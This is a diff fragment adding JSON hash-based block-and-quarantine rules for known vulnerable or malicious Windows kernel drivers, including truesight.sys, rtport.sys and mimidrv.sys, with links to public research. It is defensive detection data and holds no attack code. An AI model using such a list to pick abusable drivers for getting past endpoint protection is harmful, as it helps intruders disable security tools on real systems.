+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "361afe55e0a6f5f911fe1b3445c56a5287b26ec735073d2e28e17b8bf8d4b4b9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11a14e3d-25ad-5e0c-b911-e369c24b4835",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832694Z",
+  "creation_date": "2026-03-23T11:45:30.832696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7be7b71c3bdbc7e4868e4b2ae6ae20adad8bef30a77b3387810243459dcaa548",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11a9a0e6-50af-540c-a316-94916c1b45cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487396Z",
+  "creation_date": "2026-03-23T11:45:31.487398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c910fea59299110d2c171f5ea22966bd06108fdfda45f2e01f7f758ddefc7ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11bd6a87-11c3-5c86-a2f6-d60e06b828f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820495Z",
+  "creation_date": "2026-03-23T11:45:30.820497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "353a36d445e4ff60396702ad7b22b5f30bdce52aa05126e2701714a3f11a11c7",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11beae37-c0f2-517f-bc62-3e0ed64447b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818260Z",
+  "creation_date": "2026-03-23T11:45:30.818262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38535a0e9fc0684308eb5d6aa6284669bc9743f11cb605b79883b8c13ef906ad",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11c0f44a-12de-5f90-bba6-7c0c8d4f3ebd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143254Z",
+  "creation_date": "2026-03-23T11:45:31.143256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db2234daab27f977b59c1d9e1540ca0dab986334bffd435233b1f9213b8f6b45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11d9d740-1d79-51ef-b926-aa915e1794a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458607Z",
+  "creation_date": "2026-03-23T11:45:30.458611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f62282e44713d7d2f4c780027c7bbb82ba0b491c8836dfae33a2d82e8b5a43d2",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11ec0f90-8611-59a7-9d30-0e5646d2cdf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147963Z",
+  "creation_date": "2026-03-23T11:45:31.147966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea1fc5332092cbe167622a54ff2f118a7235a7baa948c77e39a2ffafb285b1a1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "11ee222a-f75e-58c9-9b8e-1f01a57a67f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613581Z",
+  "creation_date": "2026-03-23T11:45:29.613582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d9346e6f46f831e263385a9bd32428e01919cca26a035bbb8e9cb00bf410bc3",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1202839a-e63e-59e8-a369-0ec81d96cb57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486524Z",
+  "creation_date": "2026-03-23T11:45:31.486528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9799688dc73f444eae7b4b7e681ae31d6e4cfcf9c48f59ac5b6132b22e65f58f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "121621fa-2e99-5adf-a1cb-d7b99a284449",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825973Z",
+  "creation_date": "2026-03-23T11:45:30.825976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d52c8e1568a6bbf29705a5be45a76a4b87dc54d557d5fd17a025c951d643b882",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "121963dd-984f-5ba1-83b8-a9e296ab6676",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816080Z",
+  "creation_date": "2026-03-23T11:45:30.816083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df4c02beb039d15ff0c691bbc3595c9edfc1d24e783c8538a859bc5ea537188d",
+  "comment": "Vulnerable Kernel Driver (aka sysconp.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "121e33f0-7dc2-5f8a-9a84-e7de2621cf4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619592Z",
+  "creation_date": "2026-03-23T11:45:29.619594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619599Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ed10b06e6b4b0548bdada6b5665432306e934df173707edd3af9e4a4547e43e",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1224c893-5ce2-5553-8b9a-9660352e6af1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156414Z",
+  "creation_date": "2026-03-23T11:45:31.156416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156422Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4373d838097eefc9de85cff89356cf450641a3b3f057cee49e7ef1333a54ceed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "122509f3-168d-5341-9365-776d9a0a5d0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821728Z",
+  "creation_date": "2026-03-23T11:45:30.821732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40eef1f52c7b81750cee2b74b5d2f4155d4e58bdde5e18ea612ab09ed0864554",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12306b70-0bee-5294-813d-190b7814b118",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821300Z",
+  "creation_date": "2026-03-23T11:45:30.821304Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821312Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e502c2736825ea0380dd42effaa48105a201d4146e79de00713b8d3aaa98cd65",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "123f5739-b970-53e7-ac63-a51df4991e40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467002Z",
+  "creation_date": "2026-03-23T11:45:30.467006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467015Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71c0c98aa54dc88af8b094ceef88352052d592e0f40892825dedbf1abba16635",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1241a202-b03c-5c34-8347-dbdabdcbeccf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452622Z",
+  "creation_date": "2026-03-23T11:45:30.452625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452633Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23787eb342fd38da73ce785023176f98304267c6f6fa8a50e718da096c7a7951",
+  "comment": "Vulnerable Kernel Driver (aka phydmaccx86.sys) [https://www.loldrivers.io/drivers/1055625b-3480-48b3-9556-8628a745d8f0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1241b2fe-a129-5bbc-aace-d89b135da0a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466352Z",
+  "creation_date": "2026-03-23T11:45:30.466355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "efa56907b9d0ec4430a5d581f490b6b9052b1e979da4dab6a110ab92e17d4576",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1250906a-82b8-59ee-b5db-212b4b7708a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819864Z",
+  "creation_date": "2026-03-23T11:45:30.819866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819884Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c049aff27517fe269517b07bdc8ef1e7b26e1e76276b02dc5a9688901a88de3",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "12541cac-c629-5316-ba0e-7cd9558387db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826151Z",
+  "creation_date": "2026-03-23T11:45:30.826153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c3eac96b30874254834799669ba353408f3ad1e088d4294c9aabd76e8365019",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "126605a2-954b-53a9-9480-a75e716dd102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490384Z",
+  "creation_date": "2026-03-23T11:45:31.490386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0abc0c88644a441a816aa86b0d10a0ed9c234b67e3deb276db29a752575b61a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "126e6280-2b2e-5132-b0a8-a5013c769903",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464973Z",
+  "creation_date": "2026-03-23T11:45:30.464977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464985Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a32dc2218fb1f538fba33701dfd9ca34267fda3181e82eb58b971ae8b78f0852",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
